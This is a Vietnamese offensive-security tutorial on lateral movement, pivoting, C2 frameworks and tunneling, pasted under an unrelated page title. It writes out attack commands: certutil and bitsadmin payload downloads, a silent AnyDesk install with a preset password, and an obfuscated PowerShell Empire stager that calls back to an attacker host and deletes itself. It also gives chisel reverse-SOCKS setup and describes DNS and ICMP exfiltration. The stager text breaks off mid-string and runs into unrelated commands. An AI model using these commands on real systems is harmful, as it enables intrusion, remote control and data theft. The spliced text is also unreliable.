Khắc phục lỗi không kết nối sever memory hacker năm 2024
CodeLearn is an online platform that helps users to learn, practice coding skills and join the online coding contests. LinksLearning Training Fights InformationAbout Us Terms of Use HelpHelp Discussion Powered by CodeLearn © 2024. All Rights Reserved. rev 2/24/2024 9:44:06 AM # Lateral Movement & Pivoting ## Khái niệm - Là một kỹ thuật attacker dùng để "đi sâu" hơn vào network - Được hacker dùng khi đã có được initial access vào system - 60% các cuộc tấn công có sử dụng lateral movement - Red Canary ## Vì sao cần? - Khi có được initial access thì thường attacker vẫn chưa đạt được chủ ý ban đầu => Attacker cần tấn công sâu hơn vào network để tìm kiếm thông tin, đạt được mục đích ## Attack Vector - Attacker dựa vào những tiện ích, dịch vụ và công cụ có sẵn trên hệ thống để tiến hành leo thang quyền hạn, tấn công lan sang các máy lân cận - Bên cạnh đó attacker cũng tận dụng những thông tin đã thu thập được như email, username, ... để thực hiện các kỹ thuật social - Lợi dụng các thông tin thu thập được để tạo ra các wordlist phục vụ cho việc bẻ khóa mật khẩu (bruteforce, ...) - Attacker dựa vào các lỗ hổng trong dịch vụ, công cụ, hệ điều hành trong các machines khác trong mạng để tấn công lan ## Sections ### Lateral Tool Transfer - Attacker sẽ truyền tải các file, công cụ qua lại giữa các hệ thống bị kiểm soát nhằm tải lên các mã khai thác, tải về các file tài liệu quan trọng, phát tán malware, ... - Attacker thường sẽ sử dụng các công cụ, dịch vụ hợp lệ và có sẵn (cmd, SMB, ftp, ...) để giảm thiểu khả năng bị phát hiện bởi các hệ thống IDS #### CMD - CMD là công cụ sẵn có và giúp thực hiện nhiều tác vụ trên windows qua CLI - CMD có thể tương tác với hệ thống, thực thi các tiến trình, đọc/sửa/xóa/copy các file, thư mục - CMD được lợi dụng nhiều bởi các cuộc tấn công bởi tính sẵn có. #### PSEXEC - PsExec là công cụ builtin của windows cho phép chạy một tiến trình bất kì ở các window machines khác - PsExec thường được sử dụng bởi các IT Administrator và cả attacker - Attacker dùng PsExec để truyền tải các file, công cụ khác qua lại giữa các máy, cũng như có thể được dùng để chạy các tiến trình trên nhiều máy khác nhằm tấn công lây lan #### FTP - FTP là một giao thức truyền tải các tập tin qua mạng, được sử dụng rộng rãi ở cả windows và linux - Bên cạnh tiện ích giao thức này mang lại thì nó cũng được sử dụng bởi attacker để truyền tải các file, công cụ qua lại giữa các máy nhằm phát tán mã khai thác, malware hoặc tải về các file thông tin nhạy cảm #### SSH - Một giao thức giúp các admin truy cập và quản lý máy từ xa, được sử dụng phổ biến ở linux - Attacker có thể lợi dụng SSH theo cách tương tự như FTP để truyền tải file thông qua SCP (Secure Copy Protocol) #### SMB - Là một giao thức chia sẽ files và printers giữa các nodes trong mạng được phát triển bởi IBM - Được sử dụng phổ biến, cũng là một thành phần dễ bị attacker lợi dụng - Một lỗ hổng trong SMB từng bị lợi dụng bởi ransomeware WannaCry để tự phát tán trong mạng, là một trong những vụ tấn công ransomeware nghiêm trọng nhất từng xảy ra https://github.com/fortra/impacket/blob/master/examples/smbserver.py #### Certutil - Là một chương trình cli dùng để hiển thị thông tin cấu hình của CA (certification authority), cùng nhiều tác vụ khác liên quan đến certificates như verify, backup, restore, ... - Certutil có thể được dùng để tải về một file tử internet, có thể bị lợi dụng để tải về các mã khai thác hay tải về các file tài liệu từ các host khác cùng mạng ``` certutil.exe -urlcache -f http://10.0.0.5/40564.exe bad.exe ``` #### Powershell - Là một command shell, cung cấp nhiều feature nổi bật hơn so với cmd như tab completion, pipeline cùng với nhiều cmdlet hữu ích - `Invoke-WebRequest` - một cmdlet giúp gửi một HTTP Request đến một URL, có thể bị lợi dụng để tải về các mã khai thác, malware, ... - Nhờ vào tính "feature-rich" của PowerShell mà attacker có thể lợi dụng nó vào rất nhiều mục đích khác nhau - Ví dụ như [PowerCat](https://github.com/besimorhino/powercat) giúp tạo một reverse shell connect về lại server của attacker #### bitsadmin - Là một command-line tool, dùng để tạo, download, upload các jobs và monitor tiến trình của chúng - Có thể bị lợi dụng để tải về các mã khai thác, malware, ... ``` bitsadmin /addfile myDownloadJob https://downloadsrv/10mb.zip %temp%\10mb.zip ``` #### Others: at.exe, schtasks.exe, curl, wget, netcat, ncat, iwr, cscript, wmic, ... ### Getting inside - Sau khi có được initial access vào hệ thống, attacker sẽ cố gắng xây dựng một môi trường đầy đủ hơn để tương tác với server - Lấy ví dụ attacker đã tìm ra cách để thực thi OS command lên server, attacker lúc này sẽ cố gắng chạy một số lệnh yêu cầu **interactive shell** như `sudo -l` nhằm liệt kê ra các binaries mà attacker có thể chạy với quyền root bằng user hiện để tìm cách leo quyền - Nhưng khi gõ lệnh này thì `sudo` sẽ yêu cầu ta nhập password, `sudo` lại không có option nào để specify password trong câu lệnh. Lúc này attacker dù có valid credentials nhưng cũng không thể nhập được vì cách attacker thực thi OS command là gửi và nhận về chứ **không có sự tương tác với shell**. Vào lúc này attacker sẽ cần tìm cách để tạo một **interactive shell** - Việc này sẽ giúp attacker thuật tiện hơn trong các thao tác, cũng như có thể truy cập được vào nhiều tính năng của hệ thống hơn #### Interactive shell - Trong ví dụ OS command injection, attacker lúc này đang thực thi các OS command thông qua một **non-interactive shell** - **Non-interactive shell** nghĩa là user chỉ có thể submit command lên và sau đó nhận về kết quả cuối cùng được in ra **stdout** (standard output), ngoài ra user sẽ không thể tương tác được gì khác (ví dụ như nếu chương trình đó yêu cầu nhập input thì sẽ không nhập được) - Một ví dụ của non-interactive shell là khi ta thực thi os command bằng php, nếu ta thử thực thi câu lệnh `top` thì ta sẽ thấy trình duyệt bị đứng ![](https://i.imgur.com/COUXEVi.png) - Đó là do lệnh `top` chưa kết thúc, vì thế nên php chưa trả về kết quả cho ta => trình duyệt treo do chưa nhận được response - Còn đối với một môi trường interactive shell, ví dụ như khi ta gõ `top` trực tiếp trong terminal thì ta có thể tương tác được với câu lệnh (bấm nút lên xuống) => vậy câu lệnh chưa kết thúc là để ta tương tác với nó - Vậy như ở ví dụ khi nãy, để lấy được interactive shell attacker đầu tiên sẽ cố gắng tạo một reverse shell, sau đó dùng lệnh bên dưới: ``` python3 -c 'import pty;pty.spawn("/bin/bash")' ``` - Lệnh này sẽ dùng để tạo một **pseudo-terminal** và thực thi binary `/bin/bash` bên trong terminal đó, mực đích là để tạo ra một môi trường mô phỏng lại cái terminal và interact được với terminal đó #### SSH - Ngoài cách tạo reverse shell trên, nếu attacker có valid credentials thì hắn có thể kết nối với SSH để có một interactive shell. #### Desktop access - Đối với linux, attacker có thể lợi dụng VNC đang chạy trên host của victim thông qua việc tấn công vào các lỗ hổng hoặc người dùng để có được quyền truy cập, sau đó VNC sẽ cho phép attacker truy cập vào giao diện graphic của host victim, từ đó attacker có thể sử dụng được nhiều tác vụ hơn - Đôi khi VNC sẽ không cần authentication, đây là một lỗ hổng trong quá trình cấu hình VNC - Đối với windows, có một builtin service dùng để truy cập vào giao diện graphic của windows và điều khiển máy đó từ xa, đó là RDP. Nếu tìm ra cách truy cập vào RDP của host victim, attacker sẽ có thể thực hiện được nhiều tác vụ hơn, từ đó tấn công sâu hơn vào hệ thống - Attacker có thể dùng các lỗ hổng của RDP (zerologon là một ví dụ), hoặc tấn công social engineering vào người dùng để dành được quyền truy cập vào RDP ##### Ngoài ra attacker đôi khi không dựa vào những cái sẵn có - Một số attacker sẽ cố gắng transfer/download một số phần mềm remote desktop khác và cài đặt nó trên máy của user (ví dụ như AnyDesk). - Với ví dụ của AnyDesk, phần mềm này cung cấp một tính năng vô cùng tiện lợi cho cả user và attacker, đó là giao diện dòng lệnh - AnyDesk có thể được install bằng cli command, cũng như chạy bằng CLI command: + download file rồi lưu vào %temp%\anydesk.exe : ``` certutil.exe -urlcache -f https://anydesk.com/en/downloads/windows?dv=win_exe %temp%\anydesk.exe ``` + chạy file từ download và install vapf %temp%\anydesk ``` %temp%\anydesk.exe --install %temp%\anydesk --silent ``` + set password cho anydesk ``` echo abc | %temp%\anydesk\anydesk.exe --set-password ``` + chạy anydesk ``` %temp%\anydesk\anydesk.exe --start ``` - Từ đây attacker có thể dùng một anydesk client để kết nối đến anydesk bên kia, truy cập vào giao diện graphic - Anydesk có thể chạy trên cả windows và linux - AnyDesk cũng đã có các khuyến cáo cho người dùng nhằm ngăn chặn các cuộc tấn công dựa trên AnyDesk: https://anydesk.com/gb/abuse-prevention ##### Occured incidences - Trong nhiều cuộc tấn công, nhóm hacker **revil** (Ransomware Evil là một nhóm hacker Nga) đã install các phần mềm remote desktop như AnyDesk và ScreenConnect để truy cập vào hệ thống của victim thông qua RDP https://techxmedia.com/understanding-revil-the-ransomware-gang-behind-the-kaseya-attack/ - Sau BazarLoader malware được kích hoạt trên máy của các victim, các kẻ tấn công truy cập vào máy của nạn nhân và install các ứng dụng remote access như AnyDesk và FileZilla (một FTP client) https://thedfirreport.com/2021/12/13/diavol-ransomware/ ### Command and Control (C&C) Frameworks - Khi thành công kiểm soát được nhiều host / networks, attacker cần một công cụ để kiểm soát tất cả các hosts đó để có thể scale up cuộc tấn công, duy trì việc kiểm soát đối với nhiều host trong thời gian dài - Có rất nhiều C&C (C2) Framework được sử dụng, trong đó có 2 cái tên nổi bật: + **Cobalt Strike** - paid + **Empire** - free - Ta sẽ focus vào PowerShell Empire, vì nó free. Empire có các chức năng nổi bật: + Dùng powershell (khi mục tiêu là windows) và python (khi mục tiêu là linux) + Tự động sử dụng proxy trên máy mục tiêu (nếu có) để giao tiếp với C2 + Profiles của C2 - các thông số như protocol, http url, user agent, callback time, lost limit, jitter, encryption key có thể được chỉnh sửa để tránh bị detect bởi AV + Có thể chạy **powershell** mà không cần chạy **powershell.exe** + Có các module để obfuscate source code, payload, *stagers + ... #### Chú thích: - ***stagers**: Một payload sẽ bao gồm 2 phần: stage và stagers. Stagers là một program nhỏ được dùng để download stage về, inject stage vào memory và execute nó. ### Setup Empire #### Installation - Làm theo https://github.com/BC-SECURITY/Empire - Install **starkiller** - GUI client của empire. ```bash sudo wget https://github.com/BC-SECURITY/Starkiller/releases/download/v1.3.2/starkiller-1.3.2.AppImage && mv starkiller-1.3.2.AppImage starkiller ``` - Sau đó `sudo ./ps-empire server`, mặc định empire server sẽ chạy trên port 1337 - Chạy starkiller: `./starkiller` - Mặc định creds để login vào empire server là **empireadmin**:**password123** #### Các thành phần của empire server - 3 thành phần chính của empire là listeners, stagers và agents: + listeners - tạo ra các listeners để nhận connection từ stagers + stagers - có thể hiểu là payload được gửi đến victim nhằm nhận về reverse shell + agents - những machine đã được controled - Các thành phần khác gồm có: + modules - giúp ta thực thi nhiều hành động khác nhau trên các agents (lock màn hình, zip các folders, restart machine, ...) + credentials - giúp ta quản lý các credentials đã tìm được + reporting - giúp ta xem lại những modules ta đã execute trên các agents #### Basic usage - Khi ta chạy empire server, một webserver sẽ được start lên, cung cấp các api nhằm giúp client thực hiện các tác vụ kiểm thử. ![](https://i.imgur.com/fQjpiqu.png) - Giờ ta sẽ xem qua cách sử dụng - Đầu tiên ta tạo một HTTP listener, các thông số của một listener gồm có: + name - tên của listener + host, port - host và port của attacker để listener chạy webserver trên đó + BindIP - IP address để listen + Headers - Các headers được sử dụng khi web server response + Profile - chứa các endpoint của web server để stager request đến lấy payload + StagingKey - key để stager decrypt payload sau khi down về từ web server + ... ![](https://i.imgur.com/DiPiIeb.png) - Tiếp theo là tạo một stager để deliver payload đến victim machine, ta tạo một multi/bash stager (dành cho linux): ![](https://i.imgur.com/iwQsXjA.png) + listener - là listener khi nãy ta mới tạo + language - python vì ta đang nhắm đến máy linux + tại optional fields ta có thể tùy chỉnh outfile để nó ghi ra một file cho ta thuận tiện upload lên server - Sau khi hoàn thành ta deliver stager vừa tạo đến victim machine và execute nó, sau đó ta sẽ được một agent mới - chính là máy ta vừa control được: ![](https://i.imgur.com/dqSrkSW.png) - Ta thử thực hiện port scan module để scan port của ip 10.10.14.27 từ agent hiện tại ![](https://i.imgur.com/tkMOQhn.png) ![](https://i.imgur.com/qKoVXhX.png) - Tại tab reporting ta sẽ thấy các lệnh/module ta đã thực thi trên machine của victim ![](https://i.imgur.com/u9mBkXG.png) #### Under the hood - Hãy tìm hiểu xem sau khi stager được thực thi thì điều gì đã xảy ra, đầu tiền ta đọc source code stager: ```bash! #!/bin/bash echo "import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('aW1wb3J0IHN5czsKaW1wb3J0IHJlLCBzdWJwcm9jZXNzOwpjbWQgPSAicHMgLWVmIHwgZ3JlcCBMaXR0bGVcIFNuaXRjaCB8IGdyZXAgLXYgZ3JlcCIKcHMgPSBzdWJwcm9jZXNzLlBvcGVuKGNtZCwgc2hlbGw9VHJ1ZSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnByb2Nlc3MuUElQRSkKb3V0LCBlcnIgPSBwcy5jb21tdW5pY2F0ZSgpOwppZiByZS5zZWFyY2goIkxpdHRsZSBTbml0Y2giLCBvdXQuZGVjb2RlKCdVVEYtOCcpKToKICAgc3lzLmV4aXQoKTsKCmltcG9ydCB1cmxsaWIucmVxdWVzdDsKVUE9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJztzZXJ2ZXI9J2h0dHA6Ly8xMC4xMC4xNC4yNzo0NDQ0Jzt0PScvYWRtaW4vZ2V0LnBocCc7CnJlcT11cmxsaWIucmVxdWVzdC5SZXF1ZXN0KHNlcnZlcit0KTsKcHJveHkgPSB1cmxsaWIucmVxdWVzdC5Qcm94eUhhbmRsZXIoKTsKbyA9IHVybGxpYi5yZXF1ZXN0LmJ1aWxkX29wZW5lcihwcm94eSk7Cm8uYWRkaGVhZGVycz1bKCdVc2VyLUFnZW50JyxVQSksICgiQ29va2llIiwgInNlc3Npb249ZDdtZm00Z2dDdEFINGUwV2JiVXNrWTFVVVVVPSIpXTsKdXJsbGliLnJlcXVlc3QuaW5zdGFsbF9vcGVuZXIobyk7CmE9dXJsbGliLnJlcXVlc3QudXJsb3BlbihyZXEpLnJlYWQoKTsKSVY9YVswOjRdOwpkYXRhPWFbNDpdOwprZXk9SVYrJ3xTVlovdyxIT25jPzxKLXN0JVUxRn4uYTkpRGkyQllUJy5lbmNvZGUoJ1VURi04Jyk7ClMsaixvdXQ9bGlzdChyYW5nZSgyNTYpKSwwLFtdOwpmb3IgaSBpbiBsaXN0KHJhbmdlKDI1NikpOgogICAgaj0oaitTW2ldK2tleVtpJWxlbihrZXkpXSklMjU2OwogICAgU1tpXSxTW2pdPVNbal0sU1tpXTsKaT1qPTA7CmZvciBjaGFyIGluIGRhdGE6CiAgICBpPShpKzEpJTI1NjsKICAgIGo9KGorU1tpXSklMjU2OwogICAgU1tpXSxTW2pdPVNbal0sU1tpXTsKICAgIG91dC5hcHBlbmQoY2hyKGNoYXJeU1soU1tpXStTW2pdKSUyNTZdKSk7CmV4ZWMoJycuam9pbihvdXQpKTs='));" | python3 & rm -f "$0" exit ``` - Stager đã được obfuscate để giảm khả năng bị detect, trước khi hoàn thành execution thì stager cũng bị xóa nhằm xóa dấu vết - Tóm gọn thì đoạn script stager chính đã được base64 encode, decode ra ta được: ```python! import sys; import re, subprocess; cmd = "ps -ef | grep Little\ Snitch | grep -v grep" ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) out, err = ps.communicate(); if re.search("Little Snitch", out.decode('UTF-8')): sys.exit(); import urllib.request; UA='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';server='http://10.10.14.27:4444';t='/admin/get.php'; req=urllib.request.Request(server+t); proxy = urllib.request.ProxyHandler(); o = urllib.request.build_opener(proxy); o.addheaders=[('User-Agent',UA), ("Cookie", "session=d7mfm4ggCtAH4e0WbbUskY1UUUU=")]; urllib.request.install_opener(o); a=urllib.request.urlopen(req).read(); IV=a[0:4]; data=a[4:]; key=IV+'|SVZ/w,HOnc? attacker 172.16.1.101 ./chisel server -p 8002 --reversevictim chisel.exe client 172.16.1.101:8002 R:2080:socks ``` - Cấu hình proxychains: ```config socks5 127.0.0.1 2080 ``` - Chạy nmap bằng proxychains ta sẽ scan được network của victim: ```sh proxychains nmap 10.45.0.0/16 ``` ##### Ở đây SSH (và cả chisel) sẽ dùng SOCKS ( Socket Secure ) để route traffic từ máy client đến network của máy đích. Vậy SOCKS là gì? - SOCKS (Socket Secure) là giao thức được thiết kế để route tất cả traffic của máy client đến network đích - Có 2 phiên bản SOCKS: + **SOCKS4**: không support UDP, Authentication + **SOCKS5**: support UDP và nhiều hình thức authentication - Cách SOCKS hoạt động: ![](https://i.imgur.com/66RuqKi.png) - SOCKS proxy sẽ route tất cả TCP/UDP traffic vào network ở phía bên kia tunnel. Một điều phải lưu ý đó là **SOCKS không hỗ trợ ICMP**, dẫn đến ta sẽ không ping được thông qua ICMP, vì vậy ta cần sử dụng một phương pháp khác đó là **TCP ping** ![](https://i.imgur.com/bExDzfS.png) - Nguyên lý của TCP ping là sẽ tiến hành TCP 3-way handshake đến các TCP port của host sau đó đo đạc thời gian để handshake, nhược điểm là host đích cần phải có một service nào đó đang chạy trên một TCP port và ta cần phải tìm ra được port đó - Tóm lại SOCKS server sẽ thay mặt Client để connect vào bên trong mạng của SOCKS server, lúc này các host bên trong sẽ chỉ biết là SOCKS server đang muốn connect đến chứ không biết mặt mũi của client ra sao - Có điều đặc biệt là ta sẽ không thể gửi - **Vậy mục đích của việc lợi dụng SSH, chisel, ... là để tạo ra một SOCKS connection đến host victim và lợi dụng host đó để giao tiếp với các hosts khác trong internal network** ##### Chisel hoạt động như thế nào? ![](https://i.imgur.com/59Edgm5.png) #### Reverse dynamic port tunneling - Ngược lại với dynamic port tunneling, đây là cách chuyển tiếp lưu lượng mạng ở máy victim đến máy attacker - SSH: ```bash ssh -N -R $PORT $CONTROLLED_TARGET ``` - Lúc này ta sẽ configure proxychains như sau: ```config socks4 127.0.0.1 $PORT ``` - Lúc này bằng proxychains, ta sẽ tìm thấy target host trong network của ta #### Occured Incidences - Năm 2014, nhóm APT tên **SandWorm**(một đơn vị quân sự mạng của Nga) đã sử dụng SSH để transfer dữ liệu nhạy cảm (`scp`) và pivot vào các mạng nội bộ - **BlackEnergy** trojan cũng tích hợp một SSH backdoor để duy trì kiểm soát và trích xuất thông tin - Bên cạnh đó SSH cũng là thứ đầu tiên các threat actors nghĩ tới như một bàn đạp vào các mạng network bởi tính sẵn có của nó #### Other tunneling techniques ##### Meterpreter - Sau khi có initial access, ta dùng autoroute để route traffic đến dãy 10.129.223.0/24: ![](https://i.imgur.com/EO93TCj.png) - Ta thử chạy ping sweep để scan các hosts online trong mạng ![](https://i.imgur.com/DtDCgmj.png) - Trong phương pháp trên ta tiếp xúc với 2 module mới của metasploit đó là autoroute và pingsweep, hãy cùng đi vào chi tiết xem 2 module này hoạt động như thế nào ###### autoroute - Khác với SOCKS, autoroute sẽ biến máy đã bị compromise thành một gateway thông qua việc chỉnh sửa bảng định tuyến (routing table) trên host đó - Nói sơ qua về routing table thì đây là cái mà máy nào cũng, nhưng ở các gateway thì routing table chứa các "con đường" để đi đến các node mạng khác nhau - Lấy trường hợp ở dưới khi PC1 đang muốn gửi packet tới PC3, nhưng PC3 lại không cùng network, lúc này PC1 phải gửi packet đến cho Router A (đóng vai trò làm gateway đứng giữa kết nối network của PC1 và PC3 cùng nhiều network khác nữa) để Router A tìm "con đường" để đi đến PC3 (có IP 101.25.67.7). - Lúc này Router A sẽ nhìn vào routing table của mình và tìm thấy có một entry nói là dãy IP với netmask 255.255.255.0 (là dãy của PC3) thì nằm ở interface eth3. Lúc này thì Router A đã biết là PC3 nằm ở interface eth3 rồi nên nó chỉ cần forward packet đến network nối với interface này là xong ![](https://i.imgur.com/dmWuRZf.png) - Lợi dụng điều này thì metasploit sẽ chỉnh sửa bảng định tuyến của compromised host nhằm biến nó thành một gateway connect 2 network (attacker's network và internal network), từ đó forward được traffic từ máy attacker đến internal network - Lưu ý các network mà victim connect tới thì có thể nó bao gồm internet nữa, nên ta cũng có thể dùng host victim như một proxy để lướt web:) ###### pingsweep - Ping Sweep là tên của một kỹ thuật được hacker sử dụng để quét một dãy địa chỉ IP nhằm xác định các live host trong mạng đó. - Nguyên lý hoạt động của kỹ thuật này là gửi các gói ICMP echo request đến một dãy IP và chờ đợi ICMP echo reply từ các IP đó, IP nào gửi lại gói ICMP thì đó chính là host có tồn tại - Ping Sweep cũng sẽ là bước đầu tiên trên nmap nếu ta cho nó quét một dãy IP, đầu tiên nó sẽ luông dùng ping scan để xác định host đó có up hay không, nếu không thì nó sẽ skip. Ta có thể ra lệnh cho nmap skip qua bước ping scan này và vào thẳng quá trình scan chính bằng option `-Pn` - Có nhiều trường hợp các host trong mạng sẽ chặn các gói ICMP, dẫn đến nmap khi không thấy các host này phản hồi thì nó sẽ dừng scan, do đó đôi khi ta sẽ cần đến option `-Pn` của nmap. - Chính vì hiện nay nhiều mạng sẽ chặn các gói ICMP, ta có thể sử dụng các kỹ thuật khác nhằm discover các host trong mạng ví dụ như ARP scanning (một kỹ thuật dựa trên cách hoạt động của ARP), TCP ping (dựa trên TCP SYN, ... ##### DNS Tunneling [PHẦN NÀY PHẢI DỰNG CÁI DOMAIN ĐỂ TEST] - DNS cũng có thể bị lợi dụng để tạo tunnel nhằm exfiltrate các sensitive data. Vì lưu lượng DNS thường luôn được cho phép lưu chuyển qua lại firewall do đó attacker có thể lợi dụng điều này để tải về các tập tin, leak về các mẩu thông tin giá trị. - Để thực hiện điều này đầu tiên attacker sẽ đăng ký một domain và trỏ nó về server của attacker --- nơi có cài đặt tunneling program ( ở đây chúng ta sẽ sử dụng [dnsexfiltrator](https://github.com/Arno0x/DNSExfiltrator)). Sau đó attacker sẽ transfer tunneling client đến host cần leak data và dùng client đó để gửi data về server của attacker dưới dạng mã hóa ![](https://i.imgur.com/KnOyRXG.png) - Nhìn vào đoạn code của dnsexfiltrator client ta thấy được cách mà data được leak ra: ![](https://i.imgur.com/32osBPC.png) - Đó chính là thông qua subdomain của domain name, khi DNS server resolve từ domain về server của attacker thì thông tin trên domain name lúc này sẽ chứa cả data được gửi đi từ tunneling client -> attacker leak được thông tin - Data cũng sẽ được phân nhỏ ra và truyền nhiều lần rồi sau đó mới ghép lại ở đầu bên kia để tránh bị detect bởi các rule về size - Ngoài ra DNS tunneling cũng có thể được dùng để thiết lập kênh liên lạc giữa C&C server đến các compromised hosts - Một ví dụ cho điều này là Chashell, công cụ hoạt động dựa vào nguyên lý DNS query và answer bằng các TXT Type question ![](https://i.imgur.com/zET7zyu.png) - Chashell sẽ gửi các TXT query nhằm kiểm tra command queue ở C&C, nếu có command thì C&C sẽ response về một gói answer để chashell biết command gửi về được chia thành bao nhiêu chunk, sau đó client sẽ lần lượt gửi các TXT query để nhận hết các chunks về, sau đó thực thi và cũng vẫn chia kết quả thành các chunk và gửi về trong các gói TXT query ###### Occured Incidences - DNS tunneling đã được sử dụng bởi các nhóm APT **Pawn Storm** (một tên gọi khác của Fancy Bear) để trích xuất dữ liệu nhạy cảm từ các tổ chức bị tấn công năm 2016 - Năm 2018, DNS tunneling cũng được sử dụng bởi **Fancy Bear** để thiết lập kênh giao tiếp giữa các compromised hosts với C&C server - Năm 2019, **BeagleBoyz** đã sử dụng DNS tunneling để trích xuất dữ liệu nhạy cảm từ các hệ thống Point-of-Sale ##### ICMP Tunneling - Brief qua về cách hoạt động của ICMP: + ICMP packet stucture: ![](https://i.imgur.com/fEEUARg.png) + ICMP message types: ![](https://i.imgur.com/QqZx0Mb.png) + ICMP thường được dùng trong chẩn đoán mạng, bởi các công cụ như ping, traceroute, ... - Đây là kỹ thuật lợi dụng giao thức ICMP để giao tiếp với C&C server - Mục đích có thể là để truyền tải thông tin đánh cắp được về C&C hoặc là gửi các câu lệnh shell đến một agent ở phía victim nhằm thực thi các tác vụ và lấy về kết quả câu lệnh thông qua ICMP - Attacker hay lợi dụng ICMP để tạo tunnel vì một số firewall không có rule set dành cho ICMP. Để đối phó với các firewall có áp dụng các rules dành cho ICMP, cũng như các phần mềm audit traffic, các advisory thường sẽ thêm chức năng mã hóa các thông tin (command, command's result, leak data, ...) truyền nhận trong ICMP tunnel, cũng như chia nhỏ data và gửi nhiều lần để tránh các rule set về packet size - Để demo một reverse shell sử dụng ICMP tunnel, ta sẽ dùng [ICMPdoor](https://github.com/krabelize/icmpdoor/) - Cách hoạt động của ICMPdoor rấy đơn giản, sử dụng các gói ICMP với type 0 và type 8 để giao tiếp với nhau ```python=icmp-cnc.py icmppacket = (IP(dst=args.destination_ip, ttl=TTL)/ICMP(type=0, id=ICMP_ID)/Raw(load=payload)) sr(icmppacket, timeout=0, verbose=0) ``` ```python=icmpdoor.py icmppacket = (IP(dst=args.destination_ip, ttl=TTL)/ICMP(type=0, id=ICMP_ID)/Raw(load=payload)) sr(icmppacket, timeout=0, verbose=0) ```` - Vì được tạo ra với mục đích demonstrate cách hoạt động của ICMP tunneling nên công cụ này còn nhiều khuyết điểm đối với những công cụ được dùng trong các cuộc tấn công APT như: + Chưa mã hóa communication traffic, vẫn còn ở dạng raw text + Chưa chia nhỏ command/output, dễ bị detect với packet size lớn ##### Occured Incidences - Trong một chiến dịch gián điệp tên "**Nitro**", các kẻ tấn công đã sử dụng một đường hầm ICMP để thiết lập một kênh giao tiếp giữa client và C&C server nhằm kiểm soát từ xa - Năm 2014, nhóm hacker APT28 (nhóm Fancy Bear của Nga) đã được báo cáo sử dụng kỹ thuật ICMP tunneling để âm thầm trích xuất các dữ liệu nhạy cảm mà không bị phát hiện #### VPN tunneling - Trong các tổ chức, nhiều VPN có thể được dựng nên để cung cấp quyền truy cập vào các phần mạng khác nhau cho nhân viên, người điều hành - Nhưng sự tiện lợi lại không đi đôi với bảo mật, nếu tìm ra cách truy cập vào vpn này ( có thể thông qua lỗ hổng bảo mật, thông qua valid credentials hoặc social engineering) attacker có thể truy cập được vào phần mạng nội bộ của VPN đó và tiến hành tấn công sâu hơn - Trong vụ của Uber thì attacker đã dùng kỹ thuật Social Engineering để có được quyền truy cập vào VPN nội bộ của Uber #### HTTP tunneling - Là một kỹ thuật tunneling được sử dụng khi máy đích nằm phía sau một firewall và firewall này chỉ cho phép các kết nối HTTP - Attacker lúc này nếu muốn connect vào một service đang chạy trên port bất kì trên máy victim hoặc một host nào đó cùng mạng (SSH, RDP chẳng hạn) thì sẽ bị ruleset ở firewall chặn lại và connection sẽ không được thiết lập - Vì vậy nên nếu attacker có thể tải lên compromised host một HTTP client thì attacker có thể thông qua HTTP client này để gửi dữ liệu đến đến port đang chạy service mà attacker cần tương tác - Để hiểu rõ hơn đã có thể xem diagram sau: ![](https://i.imgur.com/GJAvZyV.png) - HTTP client sẽ nhận HTTP request từ attacker, payload của HTTP request đó lúc này sẽ chính là data mà attacker muốn gửi tới service bên trong mạng nội bộ (nếu là SSH thì payload này sẽ là toàn bộ nội dung của một SSH packet), HTTP client ở compromise host lúc này sẽ lấy toàn bộ payload đó và forward đến service (trong hình trên là SSH). - Nếu service gửi lại packet thì HTTP client sẽ đóng gói data trong packet này và gửi vào trong phần payload (body) của HTTP response và trả về cho attacker - Cứ như thế một HTTP tunnel sẽ được thiết lập và attacker sẽ giao tiếp với service kia như bình thường (thông qua HTTP client) - **Case**: ngày xưa HTTP tunneling thường hay được mình sử dụng để truy cập vào service RDP của các máy windows khi đã có valid credentials nhằm chiếm luôn con VPS dìa sài :))) #### Many more - Ngoài ra còn nhiều các kỹ thuật tunneling khác như RPC tunneling, SMB tunneling, ... #### Protecting C2 Traffic - Bên cạnh việc bảo vệ traffic giữa C2 và agents bằng SSL/TLS để encrypt payload thì ta có thể kết hợp với các tunneling techniques nhằm bypass qua các ruleset của firewall - Ví dụ như host đích nằm ở phía sau một firewall, firewall này chặn các traffic HTTP thì ta có thể sử dụng SSH để tạo một tunnel giữa C2 (hoặc redirectors) với agents và truyền dữ liệu qua tunnel này ![](https://i.imgur.com/9qbRksX.png) #### Conclude the tunneling, port forwarding section - Vậy tóm lại kỹ thuật tunneling chính là việc ta bọc kết nối của một giao thức bằng kết nối của một giao thức khác - Giống như cách mà các host giao tiếp HTTP vậy, bản chất của việc các host giao tiếp HTTP với nhau là các host đó đang bọc các gói HTTP bằng một kết nối TCP - Khi các firewall nhìn vào các tunneling connection này thì nó sẽ chỉ nhìn thấy giao thức được sử dụng để tunnel, từ đó giúp ta bypass qua các ruleset #### Practice lab HTB - Granny machine ### Surface scanning - Internal reconnaissance - Sau khi có được initial access, attacker thường sẽ muốn tấn công sâu hơn vào mạng thông qua việc lợi dụng các feature, vulnerabilities tồn tại trong hệ thống để có thể leo thang đặc quyền/tấn công lây lan qua các hosts và networks lân cận nhằm truy cập được vào các thông tin giá trị hơn - Surface scanning chính là kỹ thuật nhằm do thám các thông tin về bản thân host đó và toàn bộ mạng - Các thông tin mà attacker thường chú ý thu thập có thể kể đến như các services đang chạy, các program đã được installed của các hosts trong network, các networks mà host đó kết nối tới. Từ đó attacker có thể phát hiện ra các lỗ hổng, sai sót trong hệ điều hành, phần mềm, dịch vụ, cấu hình mạng, ... nhằm tấn công sâu hơn vào bên trong hệ thống #### Testing current host ##### Operating System - Thông qua việc biết được hệ điều hành cũng như phiên bản hiện tại của hệ điều hành đó, attacker có thể khai thác các lỗ hổng đã được biết đến (cũng như zero-day) nhằm thực hiện các hành vi độc hại như leo thang đặc quyền, làm tê liệt hệ thống (shutdown), ... - Tên hệ điều hành cũng là một trong những thông tin mà attacker thu thập được trong quá trình recon từ ngoài intranet. - Attacker có thể thu thập được các thông tin này bằng cách suy đoán dựa trên các thông tin trong một gói packet được trả về từ host đó (các packet được gửi bởi các OS 